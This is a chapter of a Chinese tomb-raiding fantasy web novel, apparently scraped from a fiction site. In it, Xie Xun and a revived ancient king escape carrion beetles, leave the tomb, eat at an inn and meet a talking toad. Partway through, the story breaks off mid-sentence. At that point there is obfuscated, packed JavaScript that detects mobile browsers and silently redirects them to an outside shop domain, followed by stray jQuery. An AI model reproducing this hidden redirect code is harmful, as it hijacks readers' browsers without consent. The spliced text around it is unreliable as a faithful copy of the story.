文趣网 > 其他小说 > 盗墓翻车指南 > 4. 万人窟
    谢寻的双手还未放下来,一阵窸窸窣窣的声音自身后响起。

    他还没来得及反应就被蓐铭抓着手带到了身后。

    谢寻探出头往那声响的地方看去。

    只见不远处正有一群拇指大小的食腐虫朝这边涌来。

    食腐虫通体黑色,唯有眼睛为红色,其外壳坚硬无比,寻常刀剑根本伤它不得。

    正常情况下,食腐虫只吃腐肉,但在这暗无天日的墓道里,它们早就饥不择食了。

    黄皮子的尸体片刻功夫便被啃食殆尽,只剩下一堆白骨了。

    这么看来,李常父子的皮肉就是被这东西吃了。

    眼看着食腐虫离他们咫尺之间,谢寻忙不迭摸出一张符篆。

    他嘴里念了两句咒语,夹在他中二指之间的符篆倏地燃了起来后被丢了出去。

    符篆并没有落地,而是飘在了半空,火焰向四周展开,眨眼的功夫便形成了一堵火墙。

    长廊前面全是食腐虫,谢寻只得拉着蓐铭先往后退。

    蓐铭反手抓住他的手腕,“谢寻,出口只有一个。”

    谢寻知道,可是眼下他们得先避开食腐虫再说。

    探墓多年,谢寻对食腐虫熟悉的不能再熟悉了。

    此虫有毒,被其咬上一口身体便会腐烂,虽不致死,但身上烂出坑洞,单是想想就知道有多痛、会多痛。

    见谢寻脸色有些难看,蓐铭收紧了抓着谢寻的手,柔声道:“别怕,有我。”

    谢寻也不知道为什么,紧绷的情绪放松了下来,低声嘟囔:“我不怕。”

    不知是不是他的错觉,他似乎听见了头顶传出轻轻的笑声,谢寻抬头,便看见了蓐铭还未放下来的嘴角。

    笑什么?

    谢寻的手腕还被蓐铭紧紧抓着,第一次有除了师父之外的人这样抓着他,他面皮薄,不好意思直接抽出手,但是被这样一直抓着也很尴尬。

    他脸烧的厉害,不过,蓐铭看不见。

    注意到谢寻低着头,似乎是在看两人的手,蓐铭道:“跟我走吧。”

    谢寻老实地点了点头。

    蓐铭顿了片刻,拉着谢寻往前走。

    食腐虫撞在火墙上,被烧的噼里啪啦作响,靠的近了,谢寻都能闻到一股烧焦的气味。

    蓐铭中二指抵在额心念诀,两具白骨摇摇晃晃地从地上站了起来,他们的手中凭空出现了一个竹篮。

    竹篮里面装满了冥币,与寻常冥币不同,这些冥币是金色的。

    谢寻仔细一瞧,冥币似乎是用金箔做的。

    两具白骨走在前面,边走边撒冥币,蓐铭带着谢寻跟在后面。

    谢寻用僵硬的木头手臂暗暗掐了自己一把。

    好吧,不是梦。

    他们穿过火墙,密密麻麻的食腐虫向两边散开,让出一条道来。

    待看不见食腐虫,前面撒冥币的两具骨头架子便倒在了地上。

    沿着长廊走了约莫半炷香,眼前赫然出现一扇石门。

    石门上的雕刻与主墓室的门别无二致,但两边摆放了两头面朝石壁的石虎。

    蓐铭松开了抓着谢寻的手,手里幻出两个光球,分别放进了两头石虎的嘴里。

    很快,只听咔咔几声响,两头石虎便朝着他们调转了方向,它们中间的两块石板分开露出一个黑洞来。

    “走吧,从这里出去。”蓐铭说。

    谢寻:“出去?”

    蓐铭双手环抱,面上含笑,“你想留下来参观我的墓室?”

    谢寻确实是想留下来看看,但蓐铭这么一说,他反倒不想了。

    他忙不迭摇头摆手,“不了不了。”

    言罢,谢寻先一步跳了下去。

    他万万没想到,这洞竟然如此之深。

    他一手捧着莲花灯,另一只手取下柴刀想卡在壁上缓冲。

    但两边都是石头,柴刀根本卡不住。

    柴刀磨出的火星飞溅,针扎似的疼痛在手背上蔓延开。

    突然,一条有力的手臂自身后环住了他。

    谢寻下意识侧头,见是蓐铭才松了口气。

    稳稳落地后谢寻忙不迭从蓐铭的怀里钻出来,后退两步拉开了两人的距离。

    静默片刻,他觉得自己方才的动作可能会让蓐铭误会自己是嫌弃他,连忙抱拳道:“多谢。”

    蓐铭看了一眼自己的手,“嗯。”

    通道很窄,只容一人通过。

    两人一前一后往前走。

    不多时,便瞧见了出口。

    已经是正午了,夹杂着热气的风吹打着两人的发丝。

    “你……”谢寻正要跟蓐铭说些什么,这才发现他不知何时换了身衣裳。

    原本的龙纹玄衣换成了一身金白色修身武服。

    想来是方才在洞里的时候用幻衣术变的。

    是了,穿着龙纹玄衣出去,知道的是百年帝王诈尸了,不知道还以为他是想造反登基。

    好吧,这样一比还不如是后者,起码听上去没有那么骇人。

    蓐铭扯开披帛,露出全脸,问:“怎么了?”

    谢寻摇头,“你之后要去哪?”

    其实谢寻想问他到底是活人还是别的,但以两人现在的关系,不适合打听太多。

    “我已死几百年,现在这里的一切都不属于我了,我没地方去。”

    谢寻脱口而出,“那你跟我走吧。”

    说完这句,谢寻恨不能时光倒流,给刚刚的自己两耳光。

    让你嘴快!让你胡说!

    他自己穷的吃了上顿没下顿就算了,这个镇上的人都对他避如蛇蝎,厌闻饫听。

    以前在人多的地方,李常也会装不认识他。

    “好啊。”蓐铭笑着答应。

    谢寻暗暗掐了自己一把。

    说出去犹如泼出去的水,谢寻咬咬牙,硬着头皮走在前面带路。

    此镇名唤江巅镇,顾名思义便是坐落于江水之上。

    夜郎一带,林木茂密,群山遍布。一座巨山腰缠江流,山顶似被横砍一刀形成了这块平地,人们在这里筑屋搭棚,繁衍生息,长此以往,便有了今日的江巅镇。

    快到镇上时,谢寻扯了扯披帛盖住自己的半张脸,只露出一对漂亮的眼睛。

    “谢寻,你饿吗?”

    谢寻昨天就只吃了一碗掺了玉米粉的饭,过去这么久,说不饿肯定是假的。

    他的手放在钱袋子上,里面的钱还是前段时间卖了一口棺材赚的。

    师父是个木匠,平时不带着谢寻探墓的话就会做些家具、棺材什么的卖,以维持生计。

    虽说这些师父没有刻意教谢寻,但时间一长,谢寻也就看会了。

    现在,他唯一的银钱来源,便是做这些东西。

    “你饿了?”谢寻反问。

    蓐铭点头。

    活尸也需要吃饭?

    行吧,起码不是吃人。

    谢寻看了一眼蓐铭,若是他自己,饿了可以随便买两个粗面馒头将就一下,但蓐铭也能吃这些吗?

    这次能这么快从王陵里出来多亏了蓐铭,谢寻决定带他去好一点的饭馆,全当是感谢他了。

    正值晌午,来饭馆吃饭的人很多,两人找了个角落坐了下来。

    “二位客官要吃点什么?”店小二一手握着毛笔,一手拿着泛黄的册子站在两人面前。

    这是谢寻这么多年

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17906806|213044||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    第一次到这种地方来吃饭,他怎么知道这饭馆里都有些什么?

    店小二刚和桌子一般高便在此干这行了,见他们迟疑,他抬手指向不远处的一块木板,“想必二位是头次来这吧,那上面是本店的菜名,排在前面的是本店的招牌,二位看看要吃些什么。”

    谢寻顺着店小二所指的地方看过去。

    红烧狮子头,辣子炒鸡,冬瓜炖排骨……

    他的视线在第一个菜名上停顿良久,夜郎这一带有狮子吗?

    他将所有的菜名都看了一眼,关于狮子的就这一道菜,做这道菜只要头,那其它的部位呢?

    谢寻放在桌下的手都快绞成麻花了。

    桌上摆着一颗狮子的脑袋听起来就有些瘆人。冬瓜炖排骨,吃排骨不划算,单是骨头就得丢掉一半……

    他看向对面的蓐铭,“你吃辣吗?”

    见蓐铭点头,他向店小二报了几道菜名。

    饭菜很快便被端了上来。

    谢寻将披帛扯开,埋头吃着,虽说这个位置很不起眼,但他还是怕被认出来。

    “谢寻。”

    谢寻下意识抬头,“嗯?”

    “终于肯抬头看我了。”

    谢寻有些尴尬,“我不想他们看见你……”和我待在一起。

    后面的话他不敢说出来,他有私心,他怕说出来后蓐铭也会远离他。

    他知道这样做不对,很不对,可是……可是蓐铭也远离他的话,他就真的连一个说话的人都没有了。

    “什么?”蓐铭不明所以,“为何不想让他们看见我?”

    谢寻忙不迭摆手,“我不是这个意思。”

    蓐铭拖长尾音“哦”了一声,“我还以为就是我以为的意思。”

    谢寻涨红了脸,“我,我人不好,你跟我在一起恐引人非议。”

    “在一起是我们两个人事,与他人何干?”

    谢寻:???

    他感觉自己和蓐铭说的似乎不是同一件事,但具体哪里不对他一时没想出来。

    他决定闭上嘴,免得越描越黑。

    他不敢看蓐铭,低着头的话似乎也不对,于是乎,他别过了头。

    他就保持着这个姿势坐着。

    蓐铭顺着他的视线看过去。

    对桌有一个男子正在狼吞虎咽地吃饭,虽然看不见他的脸,但能从那双起了褶皱的手看出来是个老汉。

    蓐铭放下筷子,单手托着腮看着谢寻,“对面那人比我好看?”

    谢寻回过神,“没有没有。”

    “那为何看他不看我?”

    谢寻怀疑这人是不是被夺舍了,早些在墓里的时候是个闷葫芦,现在怎么这样啊?!

    他感觉自己浑身烫的要冒烟了。

    接连喝了几杯水后才缓和下来。

    出了饭馆,谢寻看着自己仅剩的几两银子出神。

    如果蓐铭晚上还跟着自己话,肯定不能让他跟自己睡茅屋。

    思来想去,谢寻脑子竟冒出了和蓐铭睡帝王陵里的棺材的想法。

    他摇了摇头,从长计议。

    他不知道该带蓐铭去哪,转着转着,便拐进了小巷子。

    突然,他腰间一沉。

    谢寻低头,正好看见一只巴掌大的蟾蜍在吞他钱袋子里银两。

    他一惊,一把抓着蟾蜍丢了出去。

    蟾蜍被摔的头眼昏花,白肚子朝天地躺在地上。

    谢寻的钱袋子空空如也。

    蓐铭抓着蟾蜍的后腿将它提起来抖了抖,什么也没能抖出来。

    蟾蜍缓过来,看清了抓着自己之人,它半截舌头都还掉在外面,含糊道:“殿下,浮江出事了。”